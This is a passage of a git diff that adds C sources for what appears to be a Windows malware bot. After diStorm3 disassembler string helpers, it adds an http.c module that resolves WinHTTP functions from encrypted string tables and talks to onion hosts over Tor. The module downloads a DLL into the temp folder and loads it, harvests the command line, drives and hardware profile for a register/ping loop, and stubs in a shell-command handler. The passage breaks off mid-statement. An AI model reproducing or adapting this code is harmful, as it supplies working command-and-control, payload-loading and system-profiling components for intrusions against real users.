buf[i] = '\0'; +} + +void _FASTCALL_ str_code_hqw(_WString* s, uint8_t src[8]) +{ + int8_t* buf; + int i = 0, shift = 0; + uint32_t x = RULONG(&src[sizeof(int32_t)]); + int t; + + buf = (int8_t*)&s->p[s->length]; + buf[0] = '0'; + buf[1] = 'x'; + buf += 2; + + for (shift = 28; shift != -4; shift -= 4) { + t = (x >> shift) & 0xf; + if (i | t) buf[i++] = NIBBLE_TO_CHR; + } + + x = RULONG(src); + for (shift = 28; shift != 0; shift -= 4) { + t = (x >> shift) & 0xf; + if (i | t) buf[i++] = NIBBLE_TO_CHR; + } + t = x & 0xf; + buf[i++] = NIBBLE_TO_CHR; + + s->length += i + 2; + buf[i] = '\0'; +} + +#ifdef SUPPORT_64BIT_OFFSET +void _FASTCALL_ str_off64(_WString* s, OFFSET_INTEGER x) +{ + int8_t* buf; + int i = 0, shift = 0; + OFFSET_INTEGER t = 0; + + buf = (int8_t*)&s->p[s->length]; + + buf[0] = '0'; + buf[1] = 'x'; + buf += 2; + + for (shift = 60; shift != 0; shift -= 4) { + t = (x >> shift) & 0xf; + if (i | t) buf[i++] = NIBBLE_TO_CHR; + } + t = x & 0xf; + buf[i++] = NIBBLE_TO_CHR; + + s->length += i + 2; + buf[i] = '\0'; +} +#endif /* SUPPORT_64BIT_OFFSET */ + +#endif /* DISTORM_LIGHT */ diff --git a/source/distorm/textdefs.h b/source/distorm/textdefs.h new file mode 100644 index 0000000..05cf8d7 --- /dev/null +++ b/source/distorm/textdefs.h @@ -0,0 +1,57 @@ +/* +textdefs.h + +diStorm3 - Powerful disassembler for X86/AMD64 +http://ragestorm.net/distorm/ +distorm at gmail dot com +Copyright (C) 2003-2016 Gil Dabah +This library is licensed under the BSD license. See the file COPYING. +*/ + + +#ifndef TEXTDEFS_H +#define TEXTDEFS_H + +#include "config.h" +#include "wstring.h" + +#ifndef DISTORM_LIGHT + +#define PLUS_DISP_CHR '+' +#define MINUS_DISP_CHR '-' +#define OPEN_CHR '[' +#define CLOSE_CHR ']' +#define SP_CHR ' ' +#define SEG_OFF_CHR ':' + +/* +Naming Convention: + +* get - returns a pointer to a string. +* str - concatenates to string. + +* hex - means the function is used for hex dump (number is padded to required size) - Little Endian output. +* code - means the function is used for disassembled instruction - Big Endian output. +* off - means the function is used for 64bit offset - Big Endian output. + +* h - '0x' in front of the string. + +* b - byte +* dw - double word (can be used for word also) +* qw - quad word + +* all numbers are in HEX. +*/ + +void _FASTCALL_ str_hex_b(_WString* s, unsigned int x); +void _FASTCALL_ str_code_hb(_WString* s, unsigned int x); +void _FASTCALL_ str_code_hdw(_WString* s, uint32_t x); +void _FASTCALL_ str_code_hqw(_WString* s, uint8_t src[8]); + +#ifdef SUPPORT_64BIT_OFFSET +void _FASTCALL_ str_off64(_WString* s, OFFSET_INTEGER x); +#endif + +#endif /* DISTORM_LIGHT */ + +#endif /* TEXTDEFS_H */ diff --git a/source/distorm/wstring.c b/source/distorm/wstring.c new file mode 100644 index 0000000..ee858be --- /dev/null +++ b/source/distorm/wstring.c @@ -0,0 +1,48 @@ +/* +wstring.c + +diStorm3 - Powerful disassembler for X86/AMD64 +http://ragestorm.net/distorm/ +distorm at gmail dot com +Copyright (C) 2003-2016 Gil Dabah +This library is licensed under the BSD license. See the file COPYING. +*/ + + +#include "wstring.h" +#include "compat.h" + +#ifndef DISTORM_LIGHT + +void strclear_WS(_WString* s) +{ + s->p[0] = '\0'; + s->length = 0; +} + +void chrcat_WS(_WString* s, uint8_t ch) +{ + s->p[s->length] = ch; + s->p[s->length + 1] = '\0'; + s->length += 1; +} + +void strcpylen_WS(_WString* s, const int8_t* buf, unsigned int len) +{ + s->length = len; + COMPAT(memcpy)((int8_t*)s->p, buf, len + 1); +} + +void strcatlen_WS(_WString* s, const int8_t* buf, unsigned int len) +{ + COMPAT(memcpy)((int8_t*)&s->p[s->length], buf, len + 1); + s->length += len; +} + +void strcat_WS(_WString* s, const _WString* s2) +{ + COMPAT(memcpy)((int8_t*)&s->p[s->length], s2->p, s2->length + 1); + s->length += s2->length; +} + +#endif /* DISTORM_LIGHT */ diff --git a/source/distorm/wstring.h b/source/distorm/wstring.h new file mode 100644 index 0000000..1dbaa2f --- /dev/null +++ b/source/distorm/wstring.h @@ -0,0 +1,35 @@ +/* +wstring.h + +diStorm3 - Powerful disassembler for X86/AMD64 +http://ragestorm.net/distorm/ +distorm at gmail dot com +Copyright (C) 2003-2016 Gil Dabah +This library is licensed under the BSD license. See the file COPYING. +*/ + + +#ifndef WSTRING_H +#define WSTRING_H + +#include "config.h" + +#ifndef DISTORM_LIGHT + +void strclear_WS(_WString* s); +void chrcat_WS(_WString* s, uint8_t ch); +void strcpylen_WS(_WString* s, const int8_t* buf, unsigned int len); +void strcatlen_WS(_WString* s, const int8_t* buf, unsigned int len); +void strcat_WS(_WString* s, const _WString* s2); + +/* +* Warning, this macro should be used only when the compiler knows the size of string in advance! +* This macro is used in order to spare the call to strlen when the strings are known already. +* Note: sizeof includes NULL terminated character. +*/ +#define strcat_WSN(s, t) strcatlen_WS((s), ((const int8_t*)t), sizeof((t))-1) +#define strcpy_WSN(s, t) strcpylen_WS((s), ((const int8_t*)t), sizeof((t))-1) + +#endif /* DISTORM_LIGHT */ + +#endif /* WSTRING_H */ diff --git a/source/distorm/x86defs.h b/source/distorm/x86defs.h new file mode 100644 index 0000000..36fea6d --- /dev/null +++ b/source/distorm/x86defs.h @@ -0,0 +1,82 @@ +/* +x86defs.h + +diStorm3 - Powerful disassembler for X86/AMD64 +http://ragestorm.net/distorm/ +distorm at gmail dot com +Copyright (C) 2003-2016 Gil Dabah +This library is licensed under the BSD license. See the file COPYING. +*/ + + +#ifndef X86DEFS_H +#define X86DEFS_H + + +#define SEG_REGS_MAX (6) +#define CREGS_MAX (9) +#define DREGS_MAX (8) + +/* Maximum instruction size, including prefixes */ +#define INST_MAXIMUM_SIZE (15) + +/* Maximum range of imm8 (comparison type) of special SSE CMP instructions. */ +#define INST_CMP_MAX_RANGE (8) + +/* Maximum range of imm8 (comparison type) of special AVX VCMP instructions. */ +#define INST_VCMP_MAX_RANGE (32) + +/* Wait instruction byte code. */ +#define INST_WAIT_INDEX (0x9b) + +/* Lea instruction byte code. */ +#define INST_LEA_INDEX (0x8d) + +/* NOP/XCHG instruction byte code. */ +#define INST_NOP_INDEX (0x90) + +/* ARPL/MOVSXD instruction byte code. */ +#define INST_ARPL_INDEX (0x63) + +/* + * Minimal MODR/M value of divided instructions. + * It's 0xc0, two MSBs set, which indicates a general purpose register is used too. + */ +#define INST_DIVIDED_MODRM (0xc0) + +/* This is the escape byte value used for 3DNow! instructions. */ +#define _3DNOW_ESCAPE_BYTE (0x0f) + +#define PREFIX_LOCK (0xf0) +#define PREFIX_REPNZ (0xf2) +#define PREFIX_REP (0xf3) +#define PREFIX_CS (0x2e) +#define PREFIX_SS (0x36) +#define PREFIX_DS (0x3e) +#define PREFIX_ES (0x26) +#define PREFIX_FS (0x64) +#define PREFIX_GS (0x65) +#define PREFIX_OP_SIZE (0x66) +#define PREFIX_ADDR_SIZE (0x67) +#define PREFIX_VEX2b (0xc5) +#define PREFIX_VEX3b (0xc4) + +/* REX prefix value range, 64 bits mode decoding only. */ +#define PREFIX_REX_LOW (0x40) +#define PREFIX_REX_HI (0x4f) +/* In order to use the extended GPR's we have to add 8 to the Modr/M info values. */ +#define EX_GPR_BASE (8) + +/* Mask for REX and VEX features: */ +/* Base */ +#define PREFIX_EX_B (1) +/* Index */ +#define PREFIX_EX_X (2) +/* Register */ +#define PREFIX_EX_R (4) +/* Operand Width */ +#define PREFIX_EX_W (8) +/* Vector Lengh */ +#define PREFIX_EX_L (0x10) + +#endif /* X86DEFS_H */ diff --git a/source/file.c b/source/file.c new file mode 100644 index 0000000..046bcdd --- /dev/null +++ b/source/file.c @@ -0,0 +1,116 @@ +#include "compat.h" +#include "crypt_strings.h" +#include "log.h" +#include "file.h" + + +BOOL bOpenFile(const char* filepath, int oflags, HANDLE* hPtr) +{ + HANDLE file = _CreateFile(filepath, GENERIC_READ | ((oflags & OF_WRITEACCESS) ? GENERIC_WRITE : 0), + 0, NULL, ((oflags & OF_CREATENEW) ? CREATE_ALWAYS : OPEN_EXISTING), FILE_ATTRIBUTE_NORMAL, NULL); + if (file == INVALID_HANDLE_VALUE) + return FALSE; + *hPtr = file; + return TRUE; +} + +BOOL bHandleToBuf(HANDLE hFile, BYTE** bufPtr, SIZE_T* szFilePtr, SIZE_T* szReadPtr) +{ + if ( (*szFilePtr = _GetFileSize(hFile, NULL)) <= 0 ) return FALSE; + if ( (*bufPtr = calloc(*szFilePtr, sizeof(BYTE))) == NULL ) return FALSE; + return _ReadFile(hFile, *bufPtr, *szFilePtr, szReadPtr, NULL); +} + +BOOL bFileToBuf(HANDLE hFile, BYTE** bufPtr, SIZE_T* szBufPtr) +{ + BOOL ret = FALSE; + + *bufPtr = NULL; + *szBufPtr = 0; + + if (_SetFilePointer(hFile, 0, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER) { + LOG_MARKER + return ret; + } + if (hFile) + { + BYTE *buf; + DWORD szFile; + DWORD szRead; + if (bHandleToBuf(hFile, &buf, &szFile, &szRead)) + { + if (szFile == szRead) + { + *bufPtr = buf; + *szBufPtr = szFile; + ret = TRUE; + } + else if (buf != NULL) + { + LOG_MARKER + free(buf); + } + } + else + { + LOG_MARKER + } + } + else + { + LOG_MARKER + } + return ret; +} + +BOOL bFileNameToBuf(const char* szFullPath, BYTE** pBuf, SIZE_T* pBufSiz) +{ + HANDLE hFile = NULL; + if (!bOpenFile(szFullPath, 0, &hFile) || hFile == INVALID_HANDLE_VALUE) + return FALSE; + BOOL ret = bFileToBuf(hFile, pBuf, pBufSiz); + _CloseHandle(hFile); + return ret; +} + +inline SIZE_T nBufToFile(HANDLE hFile, const BYTE* buf, SIZE_T szBuf) +{ + SIZE_T szWritten = 0; + + if (hFile) + { + if (_SetFilePointer(hFile, 0, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER) { + LOG_MARKER + return 0; + } + if (!_WriteFile(hFile, buf, szBuf, &szWritten, NULL)) + { + szWritten = 0; + } + } + return szWritten; +} + +BOOL bBufToFileName(const char* szFullPath, int oflags, BYTE* buf, SIZE_T bufSiz) +{ + HANDLE hFile = NULL; + if (!bOpenFile(szFullPath, oflags, &hFile) || hFile == INVALID_HANDLE_VALUE) + return FALSE; + BOOL ret = nBufToFile(hFile, buf, bufSiz) == bufSiz; + _CloseHandle(hFile); + return ret; +} + +BOOL isFileInDir(LPSTR szDirName, LPSTR szFileName) +{ + char* fullPath = COMPAT(calloc)(MAX_PATH+1, sizeof(char)); + DBUF(DIRFILE_FMT_ENUM, __fmt); + + if (COMPAT(snprintf)(fullPath, MAX_PATH+1, __fmt, szDirName, szFileName) <= 0) + return FALSE; + + DWORD dwAttrib = _GetFileAttributes(fullPath); + COMPAT(free)(fullPath); + return (dwAttrib != INVALID_FILE_ATTRIBUTES && + !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY)); +} diff --git a/source/http.c b/source/http.c new file mode 100644 index 0000000..95a3538 --- /dev/null +++ b/source/http.c @@ -0,0 +1,671 @@ +/* + * Module: http.c + * Author: Toni <matzeton@googlemail.com> + * Purpose: Basic HTTP/HTTPS communication. + */ + +#include "compat.h" + +#ifdef __MINGW32__ +#include "http.h" +#include "math.h" +#include "utils.h" +#include "file.h" +#include "crypt.h" +#include "crypt_strings.h" + + +typedef HINTERNET (WINAPI *WinHttpOpenFunc) (LPCWSTR, DWORD, LPCWSTR, LPCWSTR, DWORD); +typedef BOOL (WINAPI *WinHttpCloseHandleFunc) (HINTERNET); +typedef BOOL (WINAPI *WinHttpQueryOptionFunc) (HINTERNET, DWORD, LPVOID, LPDWORD); +typedef WINHTTP_STATUS_CALLBACK + (WINAPI *WinHttpSetStatusCallbackFunc)(HINTERNET, WINHTTP_STATUS_CALLBACK, DWORD, DWORD_PTR); +typedef HINTERNET (WINAPI *WinHttpConnectFunc) (HINTERNET, LPCWSTR, INTERNET_PORT, DWORD); +typedef HINTERNET (WINAPI *WinHttpOpenRequestFunc) (HINTERNET, LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR*, DWORD); +typedef BOOL (WINAPI *WinHttpSendRequestFunc) (HINTERNET, LPCWSTR, DWORD, LPVOID, DWORD, DWORD, DWORD_PTR); +typedef BOOL (WINAPI *WinHttpReceiveResponseFunc) (HINTERNET, LPVOID); +typedef BOOL (WINAPI *WinHttpQueryDataAvailableFunc)(HINTERNET, LPDWORD); +typedef BOOL (WINAPI *WinHttpQueryHeadersFunc) (HINTERNET, DWORD, LPCWSTR, LPVOID, LPDWORD, LPDWORD); +typedef BOOL (WINAPI *WinHttpReadDataFunc) (HINTERNET, LPVOID, DWORD, LPDWORD); +typedef BOOL (WINAPI *WinHttpWriteDataFunc) (HINTERNET, LPCVOID, DWORD, LPDWORD); +typedef BOOL (WINAPI *WinHttpAddRequestHeadersFunc)(HINTERNET, LPCWSTR, DWORD, DWORD); + +struct HttpApi { + BOOL initialized; + HINTERNET hSession; + WinHttpOpenFunc Open; + WinHttpCloseHandleFunc Close; + WinHttpQueryOptionFunc Query; + WinHttpSetStatusCallbackFunc SetCallback; + WinHttpConnectFunc Connect; + WinHttpOpenRequestFunc Request; + WinHttpSendRequestFunc Send; + WinHttpReceiveResponseFunc Respone; + WinHttpQueryDataAvailableFunc Data; + WinHttpQueryHeadersFunc Header; + WinHttpReadDataFunc Read; + WinHttpAddRequestHeadersFunc AddHdr; + + uint32_t state; + /* client generated network info */ + char sid[SID_LEN+1]; + char startMarker[MARKER_SIZ+1]; + /* server generated network info */ + rrbuff aeskey[AESKEY_SIZ]; + uint32_t next_ping; +}; + +static struct HttpApi* hApi = NULL; + + +#define DECRYPT_AND_LIBGETPROC(i, lib, type, dest) { DBUF(i, tmp); dest = (type)getproc(lib, tmp); } +#define DECRYPT_AND_GETPROC(i, type, dest) DECRYPT_AND_LIBGETPROC(i, httplib, type, dest) +int initHttp(LoadLibraryFunc loadlib, GetProcAddressFunc getproc) +{ + if (hApi == NULL) { + hApi = COMPAT(calloc)(1, sizeof(struct HttpApi)); + if (hApi == NULL) + return ERR_HTTP_PRE; + + DBUF(HTTPDLL_ENUM, __nameHDLL); + HMODULE httplib = loadlib(__nameHDLL); + if (httplib == NULL) + return ERR_HTTP_PRE; + + DECRYPT_AND_GETPROC(HTTPFUNC_OPEN_ENUM, WinHttpOpenFunc, hApi->Open); + DECRYPT_AND_GETPROC(HTTPFUNC_CLOSE_ENUM, WinHttpCloseHandleFunc, hApi->Close); + DECRYPT_AND_GETPROC(HTTPFUNC_QUERYOPT_ENUM, WinHttpQueryOptionFunc, hApi->Query); + DECRYPT_AND_GETPROC(HTTPFUNC_CALLBACK_ENUM, WinHttpSetStatusCallbackFunc, hApi->SetCallback); + DECRYPT_AND_GETPROC(HTTPFUNC_CONNECT_ENUM, WinHttpConnectFunc, hApi->Connect); + DECRYPT_AND_GETPROC(HTTPFUNC_REQUEST_ENUM, WinHttpOpenRequestFunc, hApi->Request); + DECRYPT_AND_GETPROC(HTTPFUNC_SEND_ENUM, WinHttpSendRequestFunc, hApi->Send); + DECRYPT_AND_GETPROC(HTTPFUNC_RESPONSE_ENUM, WinHttpReceiveResponseFunc, hApi->Respone); + DECRYPT_AND_GETPROC(HTTPFUNC_QUERYDATA_ENUM, WinHttpQueryDataAvailableFunc, hApi->Data); + DECRYPT_AND_GETPROC(HTTPFUNC_QUERYHEADER_ENUM, WinHttpQueryHeadersFunc, hApi->Header); + DECRYPT_AND_GETPROC(HTTPFUNC_READ_ENUM, WinHttpReadDataFunc, hApi->Read); + DECRYPT_AND_GETPROC(HTTPFUNC_ADDHDR_ENUM, WinHttpAddRequestHeadersFunc, hApi->AddHdr); + + if (!hApi->Open || !hApi->Close || + !hApi->Query || !hApi->SetCallback || + !hApi->Connect || !hApi->Request || + !hApi->Request || !hApi->Send || + !hApi->Respone || !hApi->Data || + !hApi->Header || !hApi->Read || !hApi->AddHdr) + return ERR_HTTP_PRE; + } + + char* sid = __genRandAlphaNumStr(SID_LEN); + *(char*)(sid+0) &= (~SID_ZEROES1 & 0xFF); + *(char*)(sid+1) &= (~SID_ZEROES0 & 0xFF); + *(char*)(sid+2) &= (~SID_ZEROES1 & 0xFF); + *(char*)(sid+3) &= (~SID_ZEROES1 & 0xFF); + *(char*)(sid+4) &= (~SID_ZEROES0 & 0xFF); + for (size_t i = 0; i < 5; ++i) + if ( !isalpha(*(char*)(sid+i)) ) + *(char*)(sid+i) = 0x42; + COMPAT(memcpy)(&hApi->sid[0], sid, SID_LEN); + COMPAT(free)(sid); + + char* marker = __genRandAlphaNumStr(MARKER_SIZ); + COMPAT(memcpy)(&hApi->startMarker[0], marker, MARKER_SIZ); + COMPAT(free)(marker); + + hApi->state = ST_UNAUTH; + + DBUF(HTTP_UA_ENUM, __ua); + int wUaLen = 0; + LPWSTR szwUa = COMPAT(toWideChar)(__ua, COMPAT(strnlen)(__ua, CLEN(HTTP_UA_ENUM)), &wUaLen); + if (!hApi->initialized) { + hApi->hSession = hApi->Open((wUaLen > 0 ? szwUa : NULL), + WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, + WINHTTP_NO_PROXY_NAME, + WINHTTP_NO_PROXY_BYPASS, 0); + hApi->initialized = (hApi->hSession != NULL); + } + COMPAT(free)(szwUa); + + return ERR_HTTP_OK; +} + +#define RETEND(retval) { ret = retval; goto end; } +int sendHttpRequest(http_args* htArgs, rrbuff* recv_buf, rrsize* recv_siz, DWORD* pStatusCode) +{ + if (!hApi || hApi->initialized != TRUE) + return ERR_HTTP_PRE; +#ifdef _PRE_RELEASE + COMPAT(printf)("%s: %s %s\r\n", htArgs->host, htArgs->method, htArgs->resource); +#endif + + BOOL bResults = FALSE; + HINTERNET hConnect = NULL, + hRequest = NULL; + LPWSTR szwHost = NULL, szwRes = NULL, szwMet = NULL; + DWORD dwSize = 0; + int ret = ERR_HTTP_OK; + + if (htArgs->hostLen > 0) { + int wHostLen = 0; + szwHost = COMPAT(toWideChar)(htArgs->host, htArgs->hostLen, &wHostLen); + if (wHostLen > 0 && szwHost) { + hConnect = hApi->Connect(hApi->hSession, szwHost, +#ifndef _HTTP_LOCALHOST + INTERNET_DEFAULT_HTTP_PORT +#else + 8080 +#endif + , 0); + } + } else RETEND(ERR_HTTP_PRE); + + if (hConnect) { + int wResLen = 0; + szwRes = COMPAT(toWideChar)(htArgs->resource, htArgs->resourceLen, &wResLen); + int wMetLen = 0; + szwMet = COMPAT(toWideChar)(htArgs->method, htArgs->methodLen, &wMetLen); + hRequest = hApi->Request(hConnect, szwMet, szwRes, NULL, + WINHTTP_NO_REFERER, + WINHTTP_DEFAULT_ACCEPT_TYPES, + WINHTTP_FLAG_REFRESH); + } else RETEND(ERR_HTTP_CONNECT); + + if (hRequest) { + if (htArgs->uploadLen == 0) { + bResults = hApi->Send(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0); + } else { + DBUF(HTTP_HEADERS_ENUM, __hdr); + int szwHeaderLen = 0; + LPWSTR szwHeader = COMPAT(toWideChar)(__hdr, COMPAT(strnlen)(__hdr, CLEN(HTTP_HEADERS_ENUM)), &szwHeaderLen); + if (hApi->AddHdr(hRequest, szwHeader, szwHeaderLen, WINHTTP_ADDREQ_FLAG_ADD | WINHTTP_ADDREQ_FLAG_REPLACE) == TRUE) { + bResults = hApi->Send(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, + htArgs->upload, htArgs->uploadLen, htArgs->uploadLen, 0); + } else { +#ifdef _PRE_RELEASE + COMPAT(printf)("AddHeader failed with %u (%X)\n", (unsigned)_GetLastError(), (unsigned)_GetLastError()); +#endif + } + COMPAT(free)(szwHeader); + } + } else RETEND(ERR_HTTP_REQUEST); + + if (bResults == TRUE) { + bResults = hApi->Respone(hRequest, NULL); + } else RETEND(ERR_HTTP_SEND); + + if (pStatusCode && bResults == TRUE) { + dwSize = sizeof(*pStatusCode); + bResults = hApi->Header(hRequest, + WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, + WINHTTP_HEADER_NAME_BY_INDEX, + pStatusCode, &dwSize, WINHTTP_NO_HEADER_INDEX); + } + + DWORD dwCurExp = 12, dwCurUsd = 0; + DWORD dwCurMax = __pow(2, dwCurExp); + rrbuff Recv = calloc(dwCurMax, 1); + if (bResults && *pStatusCode == 200 && recv_buf && recv_siz) { + do { + if (!hApi->Data(hRequest, &dwSize)) + dwSize = 0; + if (!dwSize) + break; +#ifdef _PRE_RELEASE + COMPAT(printf)("Chunk Size: %u\t(%u/%u)\n", (unsigned)dwSize, (unsigned)dwCurUsd, (unsigned)dwCurMax); +#endif + while (dwCurMax <= dwCurUsd + dwSize) { + dwCurExp++; + dwCurMax = __pow(2, dwCurExp); + Recv = COMPAT(realloc)(Recv, dwCurMax); + } + DWORD dwDownloaded; + if (!hApi->Read(hRequest, (rrbuff)(Recv + dwCurUsd), dwSize, &dwDownloaded)) { + RETEND(ERR_HTTP_READ); + } + dwCurUsd += dwDownloaded; + } while (dwSize > 0); + *recv_buf = Recv; + *recv_siz = dwCurUsd; + } else { RETEND(ERR_HTTP_RESPONSE); } + +end: + if (hRequest) + hApi->Close(hConnect); + if (hConnect) + hApi->Close(hRequest); + COMPAT(free)(szwHost); + COMPAT(free)(szwRes); + COMPAT(free)(szwMet); + return ret; +} + +int sendWeb2Tor(LPCSTR resource, LPCSTR method, rrbuff send_buf, rrsize send_siz, rrbuff* recv_buf, rrsize* recv_siz) +{ +#ifdef _HTTP_LOCALHOST + DBUF(HTTP_HOST_LOCAL_ENUM, __localHost); +#else + DBUF(HTTP_HOSTS_ENUM, __hosts); + DBUF(HTTP_ONION_ENUM, __onionHost); +#endif + char* cur = NULL; + char* end = NULL; + int ret = -1; + +#ifdef _HTTP_LOCALHOST + while (get_string_in_strings_d(__localHost, &cur, &end) == 0) +#else + while (get_string_in_strings_d(__hosts, &cur, &end) == 0) +#endif + { +#ifdef _HTTP_LOCALHOST + char* szRealHost = __localHost; +#else + size_t nRealHost = COMPAT(strlen)(__onionHost) + COMPAT(strlen)(cur); + char* szRealHost = COMPAT(calloc)(nRealHost + 1, sizeof(char)); + COMPAT(snprintf)(szRealHost, nRealHost + 1, cur, __onionHost); +#endif + + struct http_args hArgs = {0}; + hArgs.host = szRealHost; + hArgs.hostLen = strlen(hArgs.host); + hArgs.resource = resource; + hArgs.resourceLen = strlen(hArgs.resource); + hArgs.method = method; + hArgs.methodLen = strlen(hArgs.method); + hArgs.upload = send_buf; + hArgs.uploadLen = send_siz; + + rrbuff szOut = NULL; + rrsize outSiz = 0; + DWORD dwStatus = 0; + if ( (ret = sendHttpRequest(&hArgs, &szOut, &outSiz, &dwStatus)) != 0) { +#ifdef _PRE_RELEASE + COMPAT(printf)("HTTP ERROR(Return: %d, Status: %d, Recv: %u): %s %s %s\n", ret, (int)dwStatus, (unsigned)outSiz, method, szRealHost, resource); +#endif + } else { +#ifdef _PRE_RELEASE + COMPAT(printf)("HTTP(Return: %d, Status: %d, Recv: %u):\n\t%s %s %s\n\tSIZE: %u\n", ret, (int)dwStatus, (unsigned)outSiz, method, szRealHost, resource, (unsigned)send_siz); +#endif + } + + if (recv_siz) { + *recv_siz = outSiz; + } + if (recv_buf) { + *recv_buf = szOut; + } else { + COMPAT(free)(szOut); + } + COMPAT(free)(szRealHost); + if (dwStatus == 200) + break; + } + + return ret; +} + +static inline int downloadFileToMem(LPCSTR resource, LPCSTR method, rrbuff* p_buf, rrsize* pn_buf) +{ + return sendWeb2Tor(resource, method, NULL, 0, p_buf, pn_buf); +} + +int downloadLibtor(char** pLibPath) +{ + if (!hApi) + return ERR_HTTP_PRE; + DBUF(DLLSECTION_ENUM, __path); + DBUF(HTTP_URI_LIBTOR_ENUM, __fmt); + + SIZE_T resLen = COMPAT(strnlen)(__fmt, CLEN(HTTP_URI_LIBTOR_ENUM)) + COMPAT(strnlen)(__path, CLEN(DLLSECTION_ENUM)) + SID_LEN + 1; + LPSTR res = COMPAT(calloc)(resLen, sizeof(char)); + + COMPAT(snprintf)(res, resLen, __fmt, __path, &hApi->sid[0]); + DBUF(HTTP_METHOD_ENUM, __meth); + + rrbuff rbuf = NULL; + rrsize rsiz = 0; + int ret = downloadFileToMem(res, __meth, &rbuf, &rsiz); + + if (ret == ERR_HTTP_OK) { + if (rbuf && rsiz > 0) { + DBUF(HTTP_LIBTOR_DLL_ENUM, __libonion_fmt); + char* __libonion_path = COMPAT(calloc)(MAX_PATH+1, sizeof(char)); + char* __tmp_path = COMPAT(calloc)(MAX_PATH+1, sizeof(char)); + + + if (_GetTempPath(MAX_PATH, __tmp_path) <= 0 || + COMPAT(snprintf)(__libonion_path, MAX_PATH+1, __libonion_fmt, __tmp_path) <= 0 || + bBufToFileName(__libonion_path, OF_WRITEACCESS|OF_CREATENEW, rbuf, rsiz) != TRUE) { + ret = -1; + } +#ifdef _PRE_RELEASE + COMPAT(printf)("Saved DLL (%u bytes) to: %s\n", rsiz, __libonion_path); +#endif + + COMPAT(free)(__tmp_path); + if (!pLibPath) { + COMPAT(free)(__libonion_path); + } else { + *pLibPath = __libonion_path; + } + COMPAT(free)(rbuf); + } + } else ret = -2; + + COMPAT(free)(res); + return ret; +} + +tor_main_t +loadLibtor(char* libPath, HMODULE* hmod, LoadLibraryFunc loadlib, GetProcAddressFunc getproc) +{ + HMODULE lib = loadlib(libPath); + tor_main_t tm = NULL; + if (lib) { + if (hmod) + *hmod = lib; + DBUF(HTTP_LIBTOR_MAIN_ENUM, __proc); + tm = (tor_main_t) getproc(lib, __proc); + } + return tm; +} + +int sendRequest(rrcode query_code, rrbuff send_buf, rrsize send_siz, rrbuff* recv_buf, rrsize* recv_siz) +{ + if (!hApi) + return ERR_HTTP_PRE; + DBUF(DLLSECTION_ENUM, __path); + DBUF(HTTP_URI_ENUM, __fmt); + + SIZE_T resLen = COMPAT(strlen)(__fmt) + COMPAT(strlen)(__path) + SID_LEN + MARKER_SIZ + RND_LEN + 1; + LPSTR res = COMPAT(calloc)(resLen, sizeof(char)); + LPSTR rnd = __genRandAlphaNumStr(RND_LEN); + + COMPAT(snprintf)(res, resLen, __fmt, __path, &hApi->sid[0], &hApi->startMarker[0], rnd); + DBUF(HTTP_METHOD_ENUM, __meth); + + DBUF(HTTP_SUBHEADERS_BEG_ENUM, __subhdr_beg); + DBUF(HTTP_SUBHEADERS_END_ENUM, __subhdr_end); + size_t __subhdr_beg_len = COMPAT(strnlen)(__subhdr_beg, CLEN(HTTP_SUBHEADERS_BEG_ENUM)); + size_t __subhdr_end_len = COMPAT(strnlen)(__subhdr_end, CLEN(HTTP_SUBHEADERS_END_ENUM)); + + rrbuff reqbuf = COMPAT(calloc)(sizeof(struct http_resp) + send_siz + __subhdr_beg_len + __subhdr_end_len, 1); + COMPAT(memcpy)(reqbuf, __subhdr_beg, __subhdr_beg_len); + COMPAT(memcpy)(reqbuf + __subhdr_beg_len + send_siz + sizeof(struct http_resp), __subhdr_end, __subhdr_end_len); + + struct http_resp* req = (struct http_resp*)(reqbuf + __subhdr_beg_len); + COMPAT(memcpy)(&req->startMarker[0], &hApi->startMarker[0], MARKER_SIZ); + req->respCode = query_code; + req->pkgsiz = send_siz; + + if (req && send_buf && send_siz > 0) { + COMPAT(memcpy)(&req->pkgbuf[0], send_buf, send_siz); + } + int ret = sendWeb2Tor(res, __meth, reqbuf, sizeof(struct http_resp) + send_siz + __subhdr_beg_len + __subhdr_end_len, recv_buf, recv_siz); + COMPAT(free)(req); + + COMPAT(free)(rnd); + COMPAT(free)(res); + return ret; +} + +static int +parseAndRunShell(http_resp* hResp) +{ + if (hResp->pkgsiz < sizeof(struct resp_shell)) + return 0x89; + + struct resp_shell* rsp = (struct resp_shell*)hResp->pkgbuf; + if (hResp->pkgsiz != sizeof(struct resp_shell) + + rsp->fileLen + + rsp->paramLen + + rsp->dirLen) + return 0x22; + + return 0; +} + +static struct req_info* +createInfo(rrsize* totalSize) +{ +#define MAX_DEVS 16 + char* cmdLine = _GetCommandLine(); + uint16_t cmdLineLen = COMPAT(strlen)(cmdLine); + + struct LogicalDrives* devs = COMPAT(calloc)(MAX_DEVS, sizeof(struct LogicalDrives)); + uint8_t devsLen = dwEnumDrives(devs, MAX_DEVS); + + rrsize __totalSize = sizeof(struct req_info) + \ + cmdLineLen*sizeof(char) + \ + devsLen*sizeof(struct LogicalDrives); + struct req_info* ri = COMPAT(calloc)(1, __totalSize); + if (totalSize) + *totalSize = __totalSize; + if (!ri) + return NULL; + + rrbuff dataPtr = ri->data; + + _GetSystemInfo(&ri->si); + _GetCurrentHwProfile(&ri->hw); + + COMPAT(memcpy)(dataPtr, cmdLine, cmdLineLen); + ri->cmdLineLen = cmdLineLen; + dataPtr += cmdLineLen; + + COMPAT(memcpy)(dataPtr, devs, devsLen*sizeof(struct LogicalDrives)); + ri->devsLen = devsLen; + + COMPAT(free)(devs); + return ri; +} + +int httpLoopAtLeastOnce(void) +{ + int ret = -1; + rrbuff recv = NULL, send = NULL; + rrsize rsiz = 0, ssiz = 0; + + rrcode nextCode = 0; + if (hApi->state & ST_UNAUTH) { + nextCode = RC_REGISTER; + } + rflags lastFlags; + do { + lastFlags = 0; + + /* Client side actions */ + if (nextCode == 0) { + nextCode = RC_PING; + } +#ifdef _PRE_RELEASE + COMPAT(printf)("SendRequest(Code: %u (0x%X), Size: %u (0x%X))\n", nextCode, nextCode, ssiz, ssiz); +#endif + int sret = sendRequest(nextCode, send, ssiz, 